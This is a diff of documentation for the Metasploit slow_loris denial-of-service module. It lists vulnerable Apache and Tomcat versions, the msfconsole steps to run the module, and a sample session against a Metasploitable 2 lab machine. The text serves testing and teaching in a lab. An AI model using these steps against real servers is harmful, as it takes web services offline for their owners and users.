|
2 | 2 |
|
3 | 3 | This module tries to keep many connections to the target web server open and hold them open as long as possible.
|
4 | 4 |
|
| 5 | +To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/). |
| 6 | + |
5 | 7 | Vulnerable app versions include:
|
6 | 8 |
|
7 | 9 | - Apache HTTP Server 1.x and 2.x
|
8 | 10 | - Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
|
9 | 11 |
|
10 |
| -Download the Metasploitable 2 vulnerable Linux virtual machine from [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/). |
11 |
| - |
12 | 12 | ## Verification Steps
|
13 | 13 |
|
14 | 14 | 1. Start msfconsole
|
15 |
| -2. Do: use auxiliary/dos/http/slow_loris |
16 |
| -3. Do: set RHOST |
17 |
| -4. Do: run |
| 15 | +2. Do: `use auxiliary/dos/http/slow_loris` |
| 16 | +3. Do: `set RHOST` |
| 17 | +4. Do: `run` |
18 | 18 | 5. Visit server URL in your web-browser.
|
19 | 19 |
|
20 | 20 | ## Scenarios
|
21 | 21 |
|
22 | 22 | ### Apache/2.2.8 - Ubuntu 8.04
|
23 | 23 |
|
24 | 24 | ```
|
25 |
| -msf > use auxiliary/dos/http/slow_loris.rb |
26 |
| -msf auxiliary(slow_loris) > show options |
| 25 | +msf > use auxiliary/dos/http/slow_loris5 |
| 26 | +msf auxiliary(slow_loris5) > show options |
27 | 27 |
|
28 |
| -Module options (auxiliary/dos/http/slow_loris): |
| 28 | +Module options (auxiliary/dos/http/slow_loris5): |
29 | 29 |
|
30 | 30 | Name Current Setting Required Description
|
31 | 31 | ---- --------------- -------- -----------
|
32 |
| - RHOST 192.168.216.129 yes The target address |
| 32 | + HEADERS 10 yes The number of custom headers sent by each thread |
| 33 | + RHOST yes The target address |
33 | 34 | RPORT 80 yes The target port (TCP)
|
34 |
| - THREADS 5000 yes The number of concurrent threads |
35 |
| - TIMEOUT 60 yes The maximum time in seconds to wait for each request to finish |
| 35 | + THREADS 1000 yes The number of concurrent threads |
36 | 36 |
|
37 |
| -msf auxiliary(slow_loris) > set RHOST 192.168.216.129 |
| 37 | +msf auxiliary(slow_loris5) > set RHOST 192.168.216.129 |
38 | 38 | RHOST => 192.168.216.129
|
39 |
| -msf auxiliary(slow_loris) > run |
| 39 | +msf auxiliary(slow_loris5) > run |
40 | 40 |
|
41 |
| -[*] 192.168.216.129:80 - Executing requests 1 - 5000... |
| 41 | +[*] 192.168.216.129:80 - Executing requests 1 - 1000... |
42 | 42 |
|
43 | 43 | ```
|
0 commit comments